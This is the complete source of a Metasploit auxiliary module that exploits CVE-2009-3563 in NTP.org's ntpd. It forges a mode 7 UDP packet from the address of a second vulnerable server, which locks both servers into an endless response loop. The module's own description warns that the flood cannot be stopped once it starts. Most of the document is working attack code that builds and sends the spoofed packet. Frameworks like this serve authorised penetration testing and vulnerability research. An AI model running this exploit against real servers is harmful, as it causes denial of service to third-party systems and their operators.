NTP.org ntpd Reserved Mode Denial of Service

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Capture
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NTP.org ntpd Reserved Mode Denial of Service',
      'Description'    => %q{
        This module exploits a denial of service vulnerability
        within the NTP (network time protocol) demon. By sending
        a single packet to a vulnerable ntpd server (Victim A),
        spoofed from the IP address of another vulnerable ntpd server
        (Victim B), both victims will enter an infinite response loop.
        Note, unless you control the spoofed source host or the real
        remote host(s), you will not be able to halt the DoS condition
        once begun!
      },
      'Author'         => [ 'todb' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'BID', '37255' ],
          [ 'CVE', '2009-3563' ],
          [ 'OSVDB', '60847' ],
          [ 'URL', 'https://bugs.ntp.org/show_bug.cgi?id=1331' ]
        ],
      'DisclosureDate' => '2009-10-04'))

      register_options(
        [
          OptAddressLocal.new('LHOST', [true, "The spoofed address of a vulnerable ntpd server" ])
        ])
      deregister_options('FILTER','PCAPFILE')

  end

  def run_host(ip)
    open_pcap

    print_status("Sending a mode 7 packet to host #{ip} from #{datastore['LHOST']}")

    p = PacketFu::UDPPacket.new
    p.ip_saddr = datastore['LHOST']
    p.ip_daddr = ip
    p.ip_ttl = 255
    p.udp_src = 123
    p.udp_dst = 123
    p.payload = ["\x17", "\x97\x00\x00\x00"][rand(2)]
    p.recalc
    capture_sendto(p,ip)

    close_pcap
  end
end